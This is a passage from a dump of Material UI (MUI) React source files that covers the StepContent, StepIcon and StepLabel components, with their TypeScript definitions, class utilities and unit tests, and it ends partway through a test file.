    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport Collapse from '../Collapse';\nimport { useStepperContext } from '../Stepper/StepperContext';\nimport StepContext from '../Step/StepContext';\nimport { getStepContentUtilityClass } from './stepContentClasses';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, last } = ownerState;\n\n  const slots = { root: ['root', last && 'last'], transition: ['transition'] };\n\n  return composeClasses(slots, getStepContentUtilityClass, classes);\n};\n\nconst StepContentRoot = styled('div', {\n  name: 'MuiStepContent',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, ownerState.last && styles.last];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    marginLeft: 12, // half icon\n    paddingLeft: 8 + 12, // margin + half icon\n    paddingRight: 8,\n    borderLeft: theme.vars\n      ? `1px solid ${theme.vars.palette.StepContent.border}`\n      : `1px solid ${\n          theme.palette.mode === 'light' ? theme.palette.grey[400] : theme.palette.grey[600]\n        }`,\n    variants: [\n      {\n        props: { last: true },\n        style: {\n          borderLeft: 'none',\n        },\n      },\n    ],\n  })),\n);\n\nconst StepContentTransition = styled(Collapse, {\n  name: 'MuiStepContent',\n  slot: 'Transition',\n})({});\n\nconst StepContent = React.forwardRef(function StepContent(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiStepContent' });\n  const {\n    children,\n    className,\n    transitionDuration: transitionDurationProp = 'auto',\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n\n  const { orientation } = useStepperContext();\n  const { active, last, expanded } = React.useContext(StepContext);\n\n  const ownerState = { ...props, last };\n  const classes = useUtilityClasses(ownerState);\n\n  if (process.env.NODE_ENV !== 'production') {\n    if (orientation !== 'vertical') {\n      console.error('MUI: <StepContent /> is only designed for use with the vertical stepper.');\n    }\n  }\n\n  let transitionDuration = transitionDurationProp;\n\n  if (transitionDurationProp === 'auto' && !(slots.transition ?? Collapse).muiSupportAuto) {\n    transitionDuration = undefined;\n  }\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [TransitionSlot, transitionProps] = useSlot('transition', {\n    elementType: StepContentTransition,\n    externalForwardedProps,\n    ownerState,\n    className: classes.transition,\n    additionalProps: {\n      in: active || expanded,\n      timeout: transitionDuration,\n      unmountOnExit: true,\n    },\n  });\n\n  return (\n    <StepContentRoot\n      className={clsx(classes.root, className)}\n      ref={ref}\n      ownerState={ownerState}\n      {...other}\n    >\n      <TransitionSlot {...transitionProps}>{children}</TransitionSlot>\n    </StepContentRoot>\n  );\n});\n\nStepContent.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    transition: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    transition: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * Adjust the duration of the content expand transition.\n   * Passed as a prop to the transition component.\n   *\n   * Set to 'auto' to automatically calculate transition time based on height.\n   * @default 'auto'\n   */\n  transitionDuration: PropTypes.oneOfType([\n    PropTypes.oneOf(['auto']),\n    PropTypes.number,\n    PropTypes.shape({\n      appear: PropTypes.number,\n      enter: PropTypes.number,\n      exit: PropTypes.number,\n    }),\n  ]),\n};\n\nexport default StepContent;\n"
  },
  {
    "path": "packages/mui-material/src/StepContent/StepContent.spec.tsx",
    "content": "import { expectType } from '@mui/types';\nimport { mergeSlotProps } from '@mui/material/utils';\nimport StepContent, { StepContentProps } from '@mui/material/StepContent';\nimport Fade from '@mui/material/Fade';\nimport Collapse from '@mui/material/Collapse';\nimport Grow from '@mui/material/Grow';\nimport Slide from '@mui/material/Slide';\nimport Zoom from '@mui/material/Zoom';\n\n// slotProps.transition should reject unknown props\n<StepContent\n  slotProps={{\n    // @ts-expect-error — unknown props should be rejected\n    transition: { randomInvalidProp: 'test' },\n  }}\n>\n  Step Content\n</StepContent>;\n\n<StepContent slots={{ transition: Fade }}>Step Content</StepContent>;\n<StepContent slots={{ transition: Collapse }}>Step Content</StepContent>;\n<StepContent slots={{ transition: Grow }}>Step Content</StepContent>;\n<StepContent slots={{ transition: Slide }}>Step Content</StepContent>;\n<StepContent slots={{ transition: Zoom }}>Step Content</StepContent>;\n\nfunction Custom(props: StepContentProps) {\n  const { slotProps, ...other } = props;\n  return (\n    <StepContent\n      slotProps={{\n        ...slotProps,\n        transition: (ownerState) => {\n          const transitionProps =\n            typeof slotProps?.transition === 'function'\n              ? slotProps.transition(ownerState)\n              : slotProps?.transition;\n          return {\n            ...transitionProps,\n            onExited: (node) => {\n              transitionProps?.onExited?.(node);\n            },\n          };\n        },\n      }}\n      {...other}\n    >\n      test\n    </StepContent>\n  );\n}\n\nfunction Custom2(props: StepContentProps) {\n  const { slotProps, ...other } = props;\n  return (\n    <StepContent\n      slotProps={{\n        ...slotProps,\n        transition: mergeSlotProps(slotProps?.transition, {\n          onExited: (node) => {\n            expectType<HTMLElement, typeof node>(node);\n          },\n        }),\n      }}\n      {...other}\n    >\n      test\n    </StepContent>\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/StepContent/StepContent.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport { collapseClasses } from '@mui/material/Collapse';\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport StepContent, { stepContentClasses as classes } from '@mui/material/StepContent';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<StepContent />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<StepContent />, () => ({\n    classes,\n    inheritComponent: 'div',\n    muiName: 'MuiStepContent',\n    refInstanceof: window.HTMLDivElement,\n    render: (node) => {\n      const { container, ...other } = render(\n        <Stepper orientation=\"vertical\">\n          <Step>{node}</Step>\n        </Stepper>,\n      );\n      return { container: container.firstChild.firstChild, ...other };\n    },\n    skip: ['componentProp', 'themeVariants'],\n    slots: {\n      transition: {\n        expectedClassName: classes.transition,\n        testWithElement: null,\n      },\n    },\n  }));\n\n  it('renders children inside an Collapse component', () => {\n    const { container } = render(\n      <Stepper orientation=\"vertical\">\n        <Step>\n          <StepContent>\n            <div className=\"test-content\">This is my content!</div>\n          </StepContent>\n        </Step>\n      </Stepper>,\n    );\n\n    const collapse = container.querySelector(`.${collapseClasses.root}`);\n    const innerDiv = container.querySelector(`.test-content`);\n\n    expect(collapse).not.to.equal(null);\n    expect(innerDiv).not.to.equal(null);\n    screen.getByText('This is my content!');\n  });\n\n  describe('prop: transitionDuration', () => {\n    it('should use default Collapse component', () => {\n      const { container } = render(\n        <Stepper orientation=\"vertical\">\n          <Step>\n            <StepContent>\n              <div />\n            </StepContent>\n          </Step>\n        </Stepper>,\n      );\n\n      const collapse = container.querySelector(`.${collapseClasses.root}`);\n      expect(collapse).not.to.equal(null);\n    });\n\n    it('should use custom transition slot', () => {\n      function CustomTransition() {\n        return <div data-testid=\"custom-transition\" />;\n      }\n\n      const { container } = render(\n        <Stepper orientation=\"vertical\">\n          <Step>\n            <StepContent slots={{ transition: CustomTransition }}>\n              <div />\n            </StepContent>\n          </Step>\n        </Stepper>,\n      );\n\n      const collapse = container.querySelector(`.${collapseClasses.container}`);\n      expect(collapse).to.equal(null);\n      screen.getByTestId('custom-transition');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/StepContent/index.d.ts",
    "content": "export { default } from './StepContent';\nexport * from './StepContent';\n\nexport { default as stepContentClasses } from './stepContentClasses';\nexport * from './stepContentClasses';\n"
  },
  {
    "path": "packages/mui-material/src/StepContent/index.js",
    "content": "export { default } from './StepContent';\n\nexport { default as stepContentClasses } from './stepContentClasses';\nexport * from './stepContentClasses';\n"
  },
  {
    "path": "packages/mui-material/src/StepContent/stepContentClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface StepContentClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `last={true}` (controlled by `Step`). */\n  last: string;\n  /** Styles applied to the Transition component. */\n  transition: string;\n}\n\nexport type StepContentClassKey = keyof StepContentClasses;\n\nexport function getStepContentUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiStepContent', slot);\n}\n\nconst stepContentClasses: StepContentClasses = generateUtilityClasses('MuiStepContent', [\n  'root',\n  'last',\n  'transition',\n]);\n\nexport default stepContentClasses;\n"
  },
  {
    "path": "packages/mui-material/src/StepIcon/StepIcon.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { SvgIconOwnProps } from '../SvgIcon';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { StepIconClasses } from './stepIconClasses';\n\nexport interface StepIconProps\n  // TODO v7: extend React.HTMLAttributes<SVGSVGElement> as svg is root component of StepIcon not div\n  extends\n    StandardProps<React.HTMLAttributes<HTMLDivElement>, 'color' | 'children'>,\n    Omit<SvgIconOwnProps, 'children'> {\n  /**\n   * Whether this step is active.\n   * @default false\n   */\n  active?: boolean | undefined;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<StepIconClasses> | undefined;\n  /**\n   * Mark the step as completed. Is passed to child components.\n   * @default false\n   */\n  completed?: boolean | undefined;\n  /**\n   * If `true`, the step is marked as failed.\n   * @default false\n   */\n  error?: boolean | undefined;\n  /**\n   * The label displayed in the step icon.\n   */\n  icon: React.ReactNode;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport type StepIconClasskey = keyof NonNullable<StepIconProps['classes']>;\n\n/**\n *\n * Demos:\n *\n * - [Stepper](https://next.mui.com/material-ui/react-stepper/)\n *\n * API:\n *\n * - [StepIcon API](https://next.mui.com/material-ui/api/step-icon/)\n * - inherits [SvgIcon API](https://next.mui.com/material-ui/api/svg-icon/)\n */\nexport default function StepIcon(props: StepIconProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/StepIcon/StepIcon.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport CheckCircle from '../internal/svg-icons/CheckCircle';\nimport Warning from '../internal/svg-icons/Warning';\nimport SvgIcon from '../SvgIcon';\nimport stepIconClasses, { getStepIconUtilityClass } from './stepIconClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, active, completed, error } = ownerState;\n\n  const slots = {\n    root: ['root', active && 'active', completed && 'completed', error && 'error'],\n    text: ['text'],\n  };\n\n  return composeClasses(slots, getStepIconUtilityClass, classes);\n};\n\nconst StepIconRoot = styled(SvgIcon, {\n  name: 'MuiStepIcon',\n  slot: 'Root',\n})(\n  memoTheme(({ theme }) => ({\n    display: 'block',\n    transition: theme.transitions.create('color', {\n      duration: theme.transitions.duration.shortest,\n    }),\n    color: (theme.vars || theme).palette.text.disabled,\n    [`&.${stepIconClasses.completed}, &.${stepIconClasses.active}`]: {\n      color: (theme.vars || theme).palette.primary.main,\n    },\n    [`&.${stepIconClasses.error}`]: {\n      color: (theme.vars || theme).palette.error.main,\n    },\n  })),\n);\n\nconst StepIconText = styled('text', {\n  name: 'MuiStepIcon',\n  slot: 'Text',\n})(\n  memoTheme(({ theme }) => ({\n    fill: (theme.vars || theme).palette.primary.contrastText,\n    fontSize: theme.typography.caption.fontSize,\n    fontFamily: theme.typography.fontFamily,\n  })),\n);\n\nconst StepIcon = React.forwardRef(function StepIcon(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiStepIcon' });\n  const {\n    active = false,\n    className: classNameProp,\n    completed = false,\n    error = false,\n    icon,\n    ...other\n  } = props;\n\n  const ownerState = { ...props, active, completed, error };\n  const classes = useUtilityClasses(ownerState);\n\n  if (typeof icon === 'number' || typeof icon === 'string') {\n    const className = clsx(classNameProp, classes.root);\n\n    if (error) {\n      return (\n        <StepIconRoot\n          as={Warning}\n          className={className}\n          ref={ref}\n          ownerState={ownerState}\n          {...other}\n        />\n      );\n    }\n\n    if (completed) {\n      return (\n        <StepIconRoot\n          as={CheckCircle}\n          className={className}\n          ref={ref}\n          ownerState={ownerState}\n          {...other}\n        />\n      );\n    }\n\n    return (\n      <StepIconRoot className={className} ref={ref} ownerState={ownerState} {...other}>\n        <circle cx=\"12\" cy=\"12\" r=\"12\" />\n        <StepIconText\n          className={classes.text}\n          x=\"12\"\n          y=\"12\"\n          textAnchor=\"middle\"\n          dominantBaseline=\"central\"\n          ownerState={ownerState}\n        >\n          {icon}\n        </StepIconText>\n      </StepIconRoot>\n    );\n  }\n\n  return icon;\n});\n\nStepIcon.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Whether this step is active.\n   * @default false\n   */\n  active: PropTypes.bool,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * Mark the step as completed. Is passed to child components.\n   * @default false\n   */\n  completed: PropTypes.bool,\n  /**\n   * If `true`, the step is marked as failed.\n   * @default false\n   */\n  error: PropTypes.bool,\n  /**\n   * The label displayed in the step icon.\n   */\n  icon: PropTypes.node,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default StepIcon;\n"
  },
  {
    "path": "packages/mui-material/src/StepIcon/StepIcon.spec.tsx",
    "content": "import StepIcon from '@mui/material/StepIcon';\n\n<StepIcon icon={<div>icon</div>} />;\n<StepIcon icon={<div>icon</div>} titleAccess=\"title\" />;\n"
  },
  {
    "path": "packages/mui-material/src/StepIcon/StepIcon.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport StepIcon, { stepIconClasses as classes } from '@mui/material/StepIcon';\nimport SvgIcon from '@mui/material/SvgIcon';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<StepIcon />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<StepIcon icon={1} />, () => ({\n    classes,\n    inheritComponent: SvgIcon,\n    render,\n    muiName: 'MuiStepIcon',\n    testVariantProps: { completed: true },\n    refInstanceof: window.SVGSVGElement,\n    skip: ['componentProp'],\n  }));\n\n  it('renders <CheckCircle> when completed', () => {\n    render(<StepIcon completed icon={1} />);\n\n    expect(screen.getAllByTestId('CheckCircleIcon')).to.have.length(1);\n  });\n\n  it('renders <Warning> when error occurred', () => {\n    render(<StepIcon icon={1} error />);\n    expect(screen.getAllByTestId('WarningIcon')).to.have.length(1);\n  });\n\n  it('contains text \"3\" when position is \"3\"', () => {\n    render(<StepIcon icon={3} />);\n    expect(screen.queryByText('3')).not.to.equal(null);\n  });\n\n  it('renders the custom icon', () => {\n    const { container } = render(<StepIcon icon={<span className=\"my-icon\" />} />);\n    expect(container.querySelectorAll('.my-icon')).to.have.length(1);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/StepIcon/index.d.ts",
    "content": "export { default } from './StepIcon';\nexport * from './StepIcon';\n\nexport { default as stepIconClasses } from './stepIconClasses';\nexport * from './stepIconClasses';\n"
  },
  {
    "path": "packages/mui-material/src/StepIcon/index.js",
    "content": "export { default } from './StepIcon';\n\nexport { default as stepIconClasses } from './stepIconClasses';\nexport * from './stepIconClasses';\n"
  },
  {
    "path": "packages/mui-material/src/StepIcon/stepIconClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface StepIconClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the SVG text element. */\n  text: string;\n  /** State class applied to the root element if `active={true}`. */\n  active: string;\n  /** State class applied to the root element if `completed={true}`. */\n  completed: string;\n  /** State class applied to the root element if `error={true}`. */\n  error: string;\n}\n\nexport type StepIconClassKey = keyof StepIconClasses;\n\nexport function getStepIconUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiStepIcon', slot);\n}\n\nconst stepIconClasses: StepIconClasses = generateUtilityClasses('MuiStepIcon', [\n  'root',\n  'active',\n  'completed',\n  'error',\n  'text',\n]);\n\nexport default stepIconClasses;\n"
  },
  {
    "path": "packages/mui-material/src/StepLabel/StepLabel.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { StepIconProps } from '../StepIcon';\nimport { StepLabelClasses } from './stepLabelClasses';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\n\nexport interface StepLabelSlots {\n  /**\n   * The component that renders the root.\n   * @default span\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the label.\n   * @default span\n   */\n  label: React.ElementType;\n  /**\n   * The component to render in place of the [`StepIcon`](https://mui.com/material-ui/api/step-icon/).\n   */\n  stepIcon: React.ElementType;\n}\n\nexport type StepLabelSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  StepLabelSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the span element.\n     */\n    root: SlotProps<'span', {}, StepLabelOwnerState>;\n    /**\n     * Props forwarded to the label slot.\n     * By default, the available props are based on the span element.\n     */\n    label: SlotProps<'span', {}, StepLabelOwnerState>;\n    /**\n     * Props forwarded to the stepIcon slot.\n     * By default, the available props are based on the div element.\n     */\n    stepIcon: SlotProps<React.ElementType<StepIconProps>, {}, StepLabelOwnerState>;\n  }\n>;\n\nexport interface StepLabelOwnerState extends StepLabelProps {}\n\nexport interface StepLabelProps\n  extends StandardProps<React.HTMLAttributes<HTMLDivElement>>, StepLabelSlotsAndSlotProps {\n  /**\n   * In most cases will simply be a string containing a title for the label.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<StepLabelClasses> | undefined;\n  /**\n   * If `true`, the step is marked as failed.\n   * @default false\n   */\n  error?: boolean | undefined;\n  /**\n   * Override the default label of the step icon.\n   */\n  icon?: React.ReactNode;\n  /**\n   * The optional node to display.\n   */\n  optional?: React.ReactNode;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport type StepLabelClasskey = keyof NonNullable<StepLabelProps['classes']>;\n\n/**\n *\n * Demos:\n *\n * - [Stepper](https://next.mui.com/material-ui/react-stepper/)\n *\n * API:\n *\n * - [StepLabel API](https://next.mui.com/material-ui/api/step-label/)\n */\ndeclare const StepLabel: ((props: StepLabelProps) => React.JSX.Element) & {\n  muiName: string;\n};\n\nexport default StepLabel;\n"
  },
  {
    "path": "packages/mui-material/src/StepLabel/StepLabel.js",
    "content": "'use client';\nimport composeClasses from '@mui/utils/composeClasses';\nimport clsx from 'clsx';\nimport PropTypes from 'prop-types';\nimport * as React from 'react';\nimport StepContext from '../Step/StepContext';\nimport StepIcon from '../StepIcon';\nimport { useStepperContext } from '../Stepper/StepperContext';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport stepLabelClasses, { getStepLabelUtilityClass } from './stepLabelClasses';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, orientation, active, completed, error, disabled, alternativeLabel } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      orientation,\n      error && 'error',\n      disabled && 'disabled',\n      alternativeLabel && 'alternativeLabel',\n    ],\n    label: [\n      'label',\n      active && 'active',\n      completed && 'completed',\n      error && 'error',\n      disabled && 'disabled',\n      alternativeLabel && 'alternativeLabel',\n    ],\n    iconContainer: [\n      'iconContainer',\n      active && 'active',\n      completed && 'completed',\n      error && 'error',\n      disabled && 'disabled',\n      alternativeLabel && 'alternativeLabel',\n    ],\n    labelContainer: ['labelContainer', alternativeLabel && 'alternativeLabel'],\n  };\n\n  return composeClasses(slots, getStepLabelUtilityClass, classes);\n};\n\nconst StepLabelRoot = styled('span', {\n  name: 'MuiStepLabel',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, styles[ownerState.orientation]];\n  },\n})({\n  display: 'flex',\n  alignItems: 'center',\n  [`&.${stepLabelClasses.alternativeLabel}`]: {\n    flexDirection: 'column',\n  },\n  [`&.${stepLabelClasses.disabled}`]: {\n    cursor: 'default',\n  },\n  variants: [\n    {\n      props: { orientation: 'vertical' },\n      style: {\n        textAlign: 'left',\n        padding: '8px 0',\n      },\n    },\n  ],\n});\n\nconst StepLabelLabel = styled('span', {\n  name: 'MuiStepLabel',\n  slot: 'Label',\n})(\n  memoTheme(({ theme }) => ({\n    ...theme.typography.body2,\n    display: 'block',\n    transition: theme.transitions.create('color', {\n      duration: theme.transitions.duration.shortest,\n    }),\n    [`&.${stepLabelClasses.active}, &.${stepLabelClasses.completed}`]: {\n      color: (theme.vars || theme).palette.text.primary,\n      fontWeight: 500,\n    },\n    [`&.${stepLabelClasses.alternativeLabel}`]: {\n      marginTop: 16,\n    },\n    [`&.${stepLabelClasses.error}`]: {\n      color: (theme.vars || theme).palette.error.main,\n    },\n  })),\n);\n\nconst StepLabelIconContainer = styled('span', {\n  name: 'MuiStepLabel',\n  slot: 'IconContainer',\n})({\n  flexShrink: 0,\n  display: 'flex',\n  paddingRight: 8,\n  [`&.${stepLabelClasses.alternativeLabel}`]: {\n    paddingRight: 0,\n  },\n});\n\nconst StepLabelLabelContainer = styled('span', {\n  name: 'MuiStepLabel',\n  slot: 'LabelContainer',\n})(\n  memoTheme(({ theme }) => ({\n    width: '100%',\n    color: (theme.vars || theme).palette.text.secondary,\n    [`&.${stepLabelClasses.alternativeLabel}`]: {\n      textAlign: 'center',\n    },\n  })),\n);\n\nconst StepLabel = React.forwardRef(function StepLabel(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiStepLabel' });\n  const {\n    children,\n    className,\n    error = false,\n    icon: iconProp,\n    optional,\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n\n  const { alternativeLabel, orientation } = useStepperContext();\n  const { active, disabled, completed, icon: iconContext } = React.useContext(StepContext);\n  const icon = iconProp || iconContext;\n\n  const ownerState = {\n    ...props,\n    active,\n    alternativeLabel,\n    completed,\n    disabled,\n    error,\n    orientation,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootProps] = useSlot('root', {\n    elementType: StepLabelRoot,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n    },\n    ownerState,\n    ref,\n    className: clsx(classes.root, className),\n  });\n\n  const [LabelSlot, labelProps] = useSlot('label', {\n    elementType: StepLabelLabel,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [StepIconSlot, stepIconProps] = useSlot('stepIcon', {\n    elementType: icon ? StepIcon : undefined,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  return (\n    <RootSlot {...rootProps}>\n      {icon || StepIconSlot ? (\n        <StepLabelIconContainer className={classes.iconContainer} ownerState={ownerState}>\n          <StepIconSlot\n            completed={completed}\n            active={active}\n            error={error}\n            icon={icon}\n            {...stepIconProps}\n          />\n        </StepLabelIconContainer>\n      ) : null}\n      <StepLabelLabelContainer className={classes.labelContainer} ownerState={ownerState}>\n        {children ? (\n          <LabelSlot {...labelProps} className={clsx(classes.label, labelProps?.className)}>\n            {children}\n          </LabelSlot>\n        ) : null}\n        {optional}\n      </StepLabelLabelContainer>\n    </RootSlot>\n  );\n});\n\nStepLabel.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * In most cases will simply be a string containing a title for the label.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * If `true`, the step is marked as failed.\n   * @default false\n   */\n  error: PropTypes.bool,\n  /**\n   * Override the default label of the step icon.\n   */\n  icon: PropTypes.node,\n  /**\n   * The optional node to display.\n   */\n  optional: PropTypes.node,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    label: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    stepIcon: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    label: PropTypes.elementType,\n    root: PropTypes.elementType,\n    stepIcon: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nStepLabel.muiName = 'StepLabel';\n\nexport default StepLabel;\n"
  },
  {
    "path": "packages/mui-material/src/StepLabel/StepLabel.spec.tsx",
    "content": "import * as React from 'react';\nimport StepLabel from '@mui/material/StepLabel';\n\nconst SlotComponentRef = React.forwardRef<HTMLDivElement>((props, ref) => {\n  return <div />;\n});\n\n<StepLabel\n  slots={{\n    label: 'span',\n    stepIcon: 'div',\n  }}\n>\n  Step One\n</StepLabel>;\n\n<StepLabel\n  slots={{\n    label: SlotComponentRef,\n    stepIcon: SlotComponentRef,\n  }}\n>\n  Step One\n</StepLabel>;\n"
  },
  {
    "path": "packages/mui-material/src/StepLabel/StepLabel.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Typography from '@mui/material/Typography';\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport { stepIconClasses as iconClasses } from '@mui/material/StepIcon';\nimport StepLabel, { stepLabelClasses as classes } from '@mui/material/StepLabel';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<StepLabel />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<StepLabel>Step One</StepLabel>, () => ({\n    classes,\n    inheritComponent: 'span',\n    muiName: 'MuiStepLabel',\n    render,\n    refInstanceof: window.HTMLSpanElement,\n    testVariantProps: { error: true },\n    slots: {\n      label: { expectedClassName: classes.label },\n      root: { expectedClassName: classes.root },\n    },\n    skip: ['componentProp'],\n  }));\n\n  describe('label content', () => {\n    it('renders the label from children', () => {\n      render(<StepLabel>Step One</StepLabel>);\n      screen.getByText('Step One');\n    });\n\n    it('renders <StepIcon> with props passed through slotProps.stepIcon', () => {\n      const { container } = render(\n        <Stepper alternativeLabel>\n          <Step active completed>\n            <StepLabel slotProps={{ stepIcon: { error: true } }}>Step One</StepLabel>\n          </Step>\n        </Stepper>,\n      );\n\n      const icon = container.querySelector(`.${iconClasses.root}`);\n      // Should render WarningIcon instead of CheckCircleIcon because of { error: true } props\n      expect(icon).to.have.attribute('data-testid').equal('WarningIcon');\n    });\n  });\n\n  describe('slots: stepIcon', () => {\n    it('should render', () => {\n      function CustomizedIcon() {\n        return <div data-testid=\"custom-icon\" />;\n      }\n      const { container } = render(\n        <Step active completed>\n          <StepLabel slots={{ stepIcon: CustomizedIcon }}>Step One</StepLabel>\n        </Step>,\n      );\n\n      const icon = container.querySelector(`.${classes.iconContainer}`);\n      const label = container.querySelector(`.${classes.label}`);\n\n      screen.getByTestId('custom-icon');\n      expect(icon).not.to.equal(null);\n      expect(icon).not.to.have.attribute('data-testid').equal('CheckCircleIcon');\n      expect(label).to.have.class(classes.active);\n      expect(label).to.have.class(classes.completed);\n    });\n\n    it('should not render', () => {\n      const { container } = render(\n        <Step active completed>\n          <StepLabel>Step One</StepLabel>\n        </Step>,\n      );\n\n      const icon = container.querySelector(`.${iconClasses.root}`);\n      expect(icon).to.equal(null);\n    });\n  });\n\n  describe('<Step /> prop: active', () => {\n    